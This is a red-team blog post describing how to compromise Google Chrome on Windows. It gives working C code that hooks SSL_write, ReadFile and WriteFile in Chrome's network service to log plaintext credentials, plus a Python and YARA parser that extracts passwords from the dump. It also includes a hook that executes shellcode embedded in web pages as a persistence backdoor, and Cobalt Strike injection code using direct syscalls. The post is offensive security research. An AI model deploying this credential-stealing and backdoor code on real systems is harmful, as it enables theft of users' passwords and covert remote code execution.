ActiveBreach

Breaking The Browser – A tale of IPC, credentials and backdoors

Web browsers are inherently trusted by users. They are trained to trust websites which “have a padlock in the address bar” and that “have the correct name”, This trust leads to users feeling comfortable entering their sensitive data into these websites. From an attackers stand point this trust is an amazing thing, as once you have compromised a users workstation there is a process (with close to zero protections) handling a relatively large amount of sensitive data while being used a great deal by a user. Throw in password managers with browser extensions and you have a natural target for red teams. So naturally when I found myself with some time to spend on a research project, I decided to spend it abusing this trust!

General overview

The browser I decided to target was Google Chrome, the simple reason being that it has nearly a 70% market share of desktop browsers so is by far the most popular browser and therefore is the obvious choice to target.

Like most browsers Chrome uses a multi-process architecture (as can be seen below):

The reason for this is for both security and usability, it allows specific parts of the browser (such as the renderer) to be sandboxed while still allowing other parts of the browser to run without the limitations of the sandbox. Chrome is broken down into 7 different parts, with the most important being the network service, storage service and the renderer. The network service does what it says on the tin… it handles communication with the internet and therefore is guaranteed to be in possession of the sensitive data we are after.

Old fashioned data stealing

I know that I will be targeting Chrome running on windows and also that windows has its own socket library called Winsock. So its likely that Chrome will be using Winsock for its network communication. The majority of Chromes code is stored inside chrome.dll so loading that into IDA and looking at the xrefs to WSASend I can confirm that assumption.

The only problem with this is that WSASend is only going to contain plaintext data when the user is connecting to sites without SSL enabled, which is not likely to be any of the sites we want to steal data from. So how can we get the same data, just as plaintext before it is encrypted? Lets just target the SSL encryption functions instead.

Somewhere during the development of Chrome, Google decided that OpenSSL wasn’t good enough for them and made their own fork called BoringSSL. They were kind enough to keep the original core function names meaning that SSL_write for example, does the same thing in both OpenSSL and BoringSSL. It will take a pointer to some plaintext data as the buf argument and will write it to the SSL stream pointed to by the ssl argument. The source code for the function can be seen below:

We can confirm its use by Chrome by searching for xrefs to the string SSL_write in chrome.dll:

After a bit of looking I found the function at the offset 0x0000000182ED03E0, I have renamed some variables and functions names so it’s quite clear to see it is the SSL_write function:

Now that we have the offset we can place a hook to redirect the call from the legitimate SSL_write to our SSL_write function. I have walked though doing this in a past blog post.

I wrote some code to search for the following pattern:

41 56 56 57 55 53 48 83 EC 40 45 89 C6 48 89 D7 48 89 CB 48 8B 05 EE 3E DC 05 48 31 E0 48 89 44

and replace it with the below function which will just display a text box with the request data inside.

int SSL_write(void* ssl, void* buf, int num) {
	MessageBoxA(NULL, (char*)buf, "SSL_write", 0);
    
	return Clean_SSLWrite(ssl, buf, num);
}

I injected the DLL into the network service and logged in to an outlook account. As expected, I then had two pop-up boxes, one containing the request headers and the other with the POST body:

Just to make sure, I tried logging into a couple of other websites and everything seemed to work fine until I tried to log into a google service and didn’t get a pop-up box. I could not understand why I was able to catch every request except from any to a google service. It was then after doing some research I discovered the QUIC protocol. It turns out that google had decided that TCP was no longer good enough for HTTP anymore and that Chrome will now be using UDP instead. sigh, of course…

But all clouds have silver linings, and at least this forced me to acknowledge the fact the Chrome actually supports multiple different protocols and that I must find a more universal solution to achieve my goals.

Stealing data in a multi-protocol age

Now it is completely possible to just repeat the above process of finding the offsets of critical functions for each protocol and then placing hooks. But that just seems like a lot of work and is not a particularly elegant method. Instead, I decided to take a step back and look for a much cleaner way to doing it.

Looking back at the multi-process architecture that Chrome uses I realised that there must be a method that the renderer process uses to communicate a request to the network service and receive the response back. I found this talk by @NedWilliamson which gave a lot of detail about how Chrome uses inter-process communication (IPC) to communicate between processes. It appeared that by targeting the functions used for IPC between the two processes I would now be able to steal data being sent and received regardless of the protocol.

Chrome will use multiple different pipes during IPC, the control pipe is called \\.\pipe\chromeipc and the others are used for transferring data such as requests, responses, cookies, saved credentials and so on. I found this tool called chromium-ipc-sniffer which will allow me to use Wireshark to sniff data being sent along Chromes control pipe.

I fired it up – there was a lot of irrelevant data being sent, so I used the below filter to refine it to only the communication I wanted to see:

npfs.process_type contains "Network Service" && npfs.process_type contains "Broker"

When doing IPC Chrome uses Mojo, its a data format that basically allows Chrome to easily pass data and call internal functions quickly. It’s pretty cool. As can be seen in the image below the broker will call the URLLoaderFactory.CreateLoaderAndStart Mojo method in the network service and give it the key information for the HTTP request, such as the method, domain and headers:

Rather than communicating the request directly to the network service, the renderer will use the broker as a proxy for these requests.

Now that we are certain request data will be transmitted over IPC, it’s time to now start stealing this data! Doing so is actually extremely easy as you only have to hook a single windows API call to get the contents of any requests, regardless of the protocol it is going to be sent over. Consider the below example of what Chrome’s own internal code could look like:

DWORD dwRead;
LPVOID lpBuffer = NULL;

HANDLE hPipe = CreateFile(L"\\\\.\\pipe\\chromeipc", 
                   GENERIC_READ, 
                   0,
                   NULL,
                   OPEN_EXISTING,
                   0,
                   NULL);

while (hPipe != INVALID_HANDLE_VALUE)
{
    while (ReadFile(hPipe, lpBuffer, sizeof(lpBuffer), &dwRead, NULL) != FALSE)
    {
        HandleMojoData(lpBuffer);
    }
    CloseHandle(hPipe);
}

Rather than using a byte pattern (which is likely to change between version) to find HandleMojoData, why not just target ReadFile who’s address is present in the PEB and easily accessible via a call to GetProcAddress. So lets do that instead – below is the function to which I am going to redirect the legitimate ReadFile function:

BOOL Hooked_ReadFile( HANDLE hFile,
    LPVOID       lpBuffer,
    DWORD        nNumberOfBytesToRead,
    LPDWORD      lpNumberOfBytesRead,
    LPOVERLAPPED lpOverlapped
)
{
    // so we can verify if the function is hooked or not
    if (hFile == (HANDLE)READFILE_HOOKED && lpBuffer == NULL)
    {
        return TRUE;
    }

    WriteBufferToLog(lpBuffer, nNumberOfBytesToRead);

    return Clean_ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped);
}

All this function will do is log the data that will be written from the named pipe to a file on disk, then call the original ReadFile function. This code can be found here.

I think its important to point out that the reason I’m not including a Mojo parser to only log request data, and am instead logging everything, is simply because Chrome has such a large code base that I can be almost certain that HTTP request data is not going to be the only data of value passing though these pipes. With that in mind it makes sense to record everything and parsing it at a later date without the risk of losing that data forever.

After injecting the hooking DLL and logging into outlook again, with a bit of grepping, I’m able to find the credentials I used to login:

Trying to login to https://account.google.com/ using the QUIC protocol and as you can see in the screenshot below, we are now able to steal the plain text credentials:

Now the only challenge is to parse this file and extract as many secrets as can be found.

YARA, it’s both blue and red

I needed to write a utility to parse this dump file. It needed to be able to match and differentiate between multiple different requests types, then parse such requests in a way that will give easy retrieval of the secrets inside the request. To do this, using a combination of both YARA rules and a python based plugin system I wrote hunt.py.

The syntax to use hunt.py is very simple

./hunt.py <dumpfile>

Then it will search though the dump and locate secrets, as shown below:

Writing rules and plugins is actually extremely easy. To start you will need to look at the request and pick out strings which can be used to identify the request for the YARA rule:

Then using these strings a YARA rule such as the following can be written. Rules should be stored in the rules/ directory:

rule outlook_creds {
    meta:
        author = "@_batsec_"
        plugin = "outlook_parse"
    strings: 
        $str1 = "login.live.com" 
        $str2 = "login=" 
        $str3 = "hisScaleUnit="
        $str4 = "passwd="
    condition: 
        all of them 
}

When hunt.py finds a match, it uses the value of the plugin variable in the rule as the name of the plugin to load and parse the request.

A plugin is just a function in the plugins.py file. It will be given the raw request as a bytes object and should return a dictionary containing the name and secret of everything it finds, e.g. {'site': 'login.live.com', 'username': 'asdf%40asdf.com', 'password': 'ThisIsMyVerySecurePassword123%21'}.

The plugin to parse the outlook request is shown below:

def outlook_parse(request):

    creds = {}

    creds['site'] = 'login.live.com'

    login = re.search(rb'login=(.*)&', request).group(1).decode()
    login = login[:login.index('&')]
    creds['username'] = login

    passwd = re.search(rb'passwd=(.*)&', request).group(1).decode()
    passwd = passwd[:passwd.index('&')]
    creds['password'] = passwd
    
    return creds

Let’s take a look at our chrometap BOF in action:

Chrome, Google’s implant stager?

Being able to steal secrets from requests is one thing, but what about using Chrome as a stealthy persistence method? Now that would be cool.

To manage this, we are going need to find a way to view the responses of web requests, but if we can view the web requests with a hook on ReadFile in the network service, surely we can view the responses to these requests as its written back to the pipe with a hook on WriteFile? Lets find out.

I modified the previous code to dump the contents of WriteFile instead of the ReadFile. Injecting it into the network service and analysing the dump file I was expecting to see a load of HTML/CSS/JavaScript files, but to my surprise there wasn’t any:

I was so confused. I assumed that I was wrong in my assumption and that the response content was being communicated via a different means of IPC. I spent some time looking into shared memory (another method of IPC Chrome uses) but was still unable to find the response content.

Getting frustrated, I was looking over the request headers trying to see if there was anything I had missed. Then I noticed the encoding headers and it all made sense:

I had assumed that the network service would just handle everything and pass the responses to the renderer for rendering, but from the amount of gzipped content in the dump file it seems like the render process will also handle the decompression:

And by extracting and decompressing the gzipped content we are able to see that it is in fact the web content I have been searching for. Finally!

So now we know that by placing a hook on WriteFile and decompressing the data in lpBuffer will give us the plain text web content. Cool.

Using this nice little gzip decompression library I was then able to write a replacement WriteFile function that will ungzip the data, and give any data between <shellcode></shellcode> HTML tags to the ExecuteShellcode shellcode function to be executed.

#define SHCPATTERN1 "<shellcode>"
#define SHCPATTERN2 "</shellcode>"

BOOL Hooked_WriteFile(HANDLE hFile,
	LPCVOID      lpBuffer,
	DWORD        nNumberOfBytesToWrite,
	LPDWORD      lpNumberOfBytesWritten,
	LPOVERLAPPED lpOverlapped)
{
    int res;
    DWORD i;
    char *start, *end;
    char *target = NULL;
    unsigned char *dest = NULL;
    unsigned char *source = NULL;
    unsigned int len, dlen, outlen;
    DWORD_PTR dwBuf = (DWORD_PTR)lpBuffer;

    if (hFile == (HANDLE)WRITEFILE_HOOKED && lpBuffer == NULL)
    {
        return TRUE;
    }

    if (lpBuffer != NULL && nNumberOfBytesToWrite >= 18)
    {
        tinf_init();

        auto ucharptr = static_cast<const unsigned char*>(lpBuffer);
        source = const_cast<unsigned char*>(ucharptr);

        dlen = read_le32(&source[nNumberOfBytesToWrite - 4]);

        dest = (unsigned char *) malloc(dlen ? dlen : 1);
        if (dest == NULL)
        {
            goto APICALL;
        }

        outlen = dlen;

        res = tinf_gzip_uncompress(dest, &outlen, source, nNumberOfBytesToWrite);

        if ((res != TINF_OK) || (outlen != dlen)) 
        {
            free(dest);
            goto APICALL;
        }

        for (i = 0; i < outlen; i++)
        {
            if (!memcmp((PVOID)(dest + i), (unsigned char*)SHCPATTERN1, strlen(SHCPATTERN1)))
            {
                if ( start = strstr( (char*)dest, SHCPATTERN1 ) )
                {
                    start += strlen( SHCPATTERN1 );
                    if ( end = strstr( start, SHCPATTERN2 ) )
                    {
                        target = ( char * )malloc( end - start + 1 );
                        memcpy( target, start, end - start );
                        target[end - start] = '\0';

                        ExecuteShellcode(target);
                    }
                }
            }
        }

        free(dest);
        free(target);
        
        goto APICALL;
    }
    
    goto APICALL;

APICALL:
    return Clean_WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped);
}

The ExecuteShellcode does not do anything special, it just uses the windows API to base64 decode the shellcode and then execute it. I will leave it as a challenge for the reader to adapt this to use syscalls and other more defensive injection techniques.

BOOL ExecuteShellcode(char* shellcode)
{
    DWORD dwOutLen;
    int shellcode_len = strlen(shellcode);

    FUNC_CryptStringToBinaryA CryptStringToBinaryA = (FUNC_CryptStringToBinaryA)GetProcAddress(
                                                        LoadLibraryA("crypt32.dll"), 
                                                        "CryptStringToBinaryA");

    CryptStringToBinaryA(
        (LPCSTR)shellcode,
        (DWORD)shellcode_len,
        CRYPT_STRING_BASE64,
        NULL,
        &dwOutLen,
        NULL,
        NULL
    );

    BYTE* pbBinary = (BYTE*)malloc(dwOutLen + 1);

    CryptStringToBinaryA(
        (LPCSTR)shellcode,
        (DWORD)shellcode_len,
        CRYPT_STRING_BASE64,
        pbBinary,
        &dwOutLen,
        NULL,
        NULL
    );

    void* module = VirtualAlloc(0, dwOutLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    memcpy(module, pbBinary, dwOutLen);

    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)module, NULL, 0, 0);

    return TRUE;

}

Since we now have a DLL, that when injected, will force Chrome to execute any shellcode between <shellcode></shellcode> tags, lets test it out:

If you visit the homepage of my blog with a backdoored browser the shellcode will run:

Having a stealthy way to retain access to a organisation like this is cool because it doesn’t mean you have to have a beacon/implant constantly running. All you have to do is have the user access a web resource that has the plain text shellcode tags in it whether that’s a link, image, iframe etc it doesn’t matter.

You can use any normal persistence technique to re-inject the hook after every reboot.

Deploying

Having these tools in DLL form is useful, but not very practical for an engagement as I would have to somehow identify Chrome’s network service and then inject said DLL. Because of this I decided to use a combination of sRDI and Cobalt Strikes’ beacon object files to deploy them.

I wrote the beacon object file (BoF) to use direct syscalls, this was made a lot easier thanks to the great work by @Cneelis on InlineWhispers.

The first order of business is to find Chrome’s network service. It runs under the image name chrome.exe so I use the NtQuerySystemInformation syscall with the SystemProcessInformation argument to get the pointer to a SYSTEM_PROCESSES structure containing information about all the processes currently running on the machine.

typedef struct _SYSTEM_PROCESSES {
	ULONG NextEntryDelta;
	ULONG ThreadCount;
	ULONG Reserved1[6];
	LARGE_INTEGER CreateTime;
	LARGE_INTEGER UserTime;
	LARGE_INTEGER KernelTime;
	UNICODE_STRING ProcessName;
	KPRIORITY BasePriority;
	HANDLE ProcessId;
	HANDLE InheritedFromProcessId;
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;

Then using the NextEntryDelta to iterate through the processes until the ProcessName.Buffer is chrome.exe.

DWORD GetChromeNetworkProc()
{
    NTSTATUS dwStatus;
    ULONG ulRetLen = 0;
    LPVOID lpBuffer = NULL;
    DWORD dwPid, dwProcPid = 0;

    if (NtQuerySystemInformation(SystemProcessInformation, 0, 0, &ulRetLen) != STATUS_INFO_LENGTH_MISMATCH)
    {
        goto Cleanup;
    }

    lpBuffer = MSVCRT$malloc(ulRetLen);
    if (lpBuffer == NULL)
    {
        goto Cleanup;
    }

    if (!NtQuerySystemInformation(SystemProcessInformation, lpBuffer, ulRetLen, &ulRetLen) == STATUS_SUCCESS)
    {
        goto Cleanup;
    }

    PSYSTEM_PROCESSES lpProcInfo = (PSYSTEM_PROCESSES)lpBuffer;

    do
    {
        dwPid = 0;

        lpProcInfo = (PSYSTEM_PROCESSES)(((LPBYTE)lpProcInfo) + lpProcInfo->NextEntryDelta);
        dwProcPid = *((DWORD*)&lpProcInfo->ProcessId);
        
        if (MSVCRT$wcscmp(lpProcInfo->ProcessName.Buffer, L"chrome.exe") == 0)
        {
            if (IsNetworkProc(dwProcPid))
            {
                dwPid = dwProcPid;
                goto Cleanup;
            }
        }

        if (lpProcInfo->NextEntryDelta == 0) 
        {
			goto Cleanup;
        }
    } while (lpProcInfo);

Cleanup:
	return dwPid;
}

Once a process named chrome.exe is found its process id will be passed to the IsNetworkProc function which will determine if it is actually the network service. This is done by using the NtQueryInformationProcess syscall to get the address of the process environment block (PEB) in the remote process and then walk the PEB until it finds the command line arguments the process was launched with. If the flag --utility-sub-type=network.mojom.NetworkService was used when launching the chrome.exe process then that process is going to be the network service.

BOOL IsNetworkProc(DWORD dwPid)
{
	PPEB pPeb;
	SIZE_T stRead;
	HANDLE hProcess;
	NTSTATUS dwStatus;
	BOOL bStatus = FALSE;
	PWSTR lpwBufferLocal;
	PROCESS_BASIC_INFORMATION BasicInfo;

	MSVCRT$memset(&BasicInfo, '\0', sizeof(BasicInfo));

	if ((hProcess = OpenProcessHandle(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, dwPid)) == INVALID_HANDLE_VALUE)
	{
		bStatus = FALSE;
		goto Cleanup;
	}

	if ((dwStatus = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &BasicInfo, sizeof(BasicInfo), NULL)) != STATUS_SUCCESS)
	{
		bStatus = FALSE;
		goto Cleanup;
	}

	LPVOID lpPebBuf = MSVCRT$malloc(sizeof(PEB));
	if (lpPebBuf == NULL)
	{
		bStatus = FALSE;
		goto Cleanup;
	}

	if (NtReadVirtualMemory(hProcess, BasicInfo.PebBaseAddress, lpPebBuf, sizeof(PEB), &stRead) != STATUS_SUCCESS)
	{
		bStatus = FALSE;
		goto Cleanup;
	}

	PPEB pPebLocal = (PPEB)lpPebBuf;

	PRTL_USER_PROCESS_PARAMETERS pRtlProcParam = pPebLocal->ProcessParameters;
	PRTL_USER_PROCESS_PARAMETERS pRtlProcParamCopy = (PRTL_USER_PROCESS_PARAMETERS)MSVCRT$malloc(sizeof(RTL_USER_PROCESS_PARAMETERS));

	if (pRtlProcParamCopy == NULL)
	{
		bStatus = FALSE;
		goto Cleanup;
	}

	if (NtReadVirtualMemory(hProcess, pRtlProcParam, pRtlProcParamCopy, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL) != STATUS_SUCCESS)
	{
		bStatus = FALSE;
		goto Cleanup;
	}

	USHORT len =  pRtlProcParamCopy->CommandLine.Length;
	PWSTR lpwBuffer = pRtlProcParamCopy->CommandLine.Buffer;
	
	if ((lpwBufferLocal = (PWSTR)MSVCRT$malloc(len)) == NULL)
	{
		bStatus = FALSE;
		goto Cleanup;
	}

	if (NtReadVirtualMemory(hProcess, lpwBuffer, lpwBufferLocal, len, NULL) != STATUS_SUCCESS)
	{
		bStatus = FALSE;
		goto Cleanup;
	}

	if (MSVCRT$wcsstr(lpwBufferLocal, L"--utility-sub-type=network.mojom.NetworkService") != NULL)
	{
		bStatus = TRUE;
	}

	goto Cleanup;

Cleanup:
	if (hProcess) { KERNEL32$CloseHandle(hProcess); }

	return bStatus;
}

Once the network process has been found, it will then use the below code to inject the DLL, which has now been turned into position independent shellcode thanks to sRDI, into the process.

BOOL InjectShellcode(DWORD dwChromePid, DWORD dwShcLen, LPVOID lpShcBuf)
{
	ULONG ulPerms;
	LPVOID lpBuffer = NULL;
	HANDLE hProcess, hThread;
	SIZE_T stSize = (SIZE_T)dwShcLen;

	if ((hProcess = OpenProcessHandle(PROCESS_ALL_ACCESS, dwChromePid)) == INVALID_HANDLE_VALUE)
	{
		return FALSE;
	}

	NtAllocateVirtualMemory(hProcess, &lpBuffer, 0, &stSize, (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
	if (lpBuffer == NULL)
	{
		return FALSE;
	}

	if (NtWriteVirtualMemory(hProcess, lpBuffer, lpShcBuf, dwShcLen, NULL) != STATUS_SUCCESS)
	{
		return FALSE;
	}

	if (NtProtectVirtualMemory(hProcess, &lpBuffer, &stSize, PAGE_EXECUTE_READ, &ulPerms) != STATUS_SUCCESS)
	{
		return FALSE;
	}

	NtCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, FALSE, 0, 0, 0, NULL);
	if (hThread == INVALID_HANDLE_VALUE)
	{
		return FALSE;
	}

	return TRUE;
}

EOF

I hope you have found this post useful and will find some of these techniques helpful. I was planning on also including details on how to inject arbitrary JavaScript into web pages, but sadly I just ran out of time and had to move onto other things, although I will say that it is completely possible to do using a combination of the techniques I have listed above.

If you have any questions feel free to give me a DM on twitter.

This blog post was written by Dylan (@_batsec_).

written by

MDSec Research

Ready to engage
with MDSec?

Copyright 2024 MDSec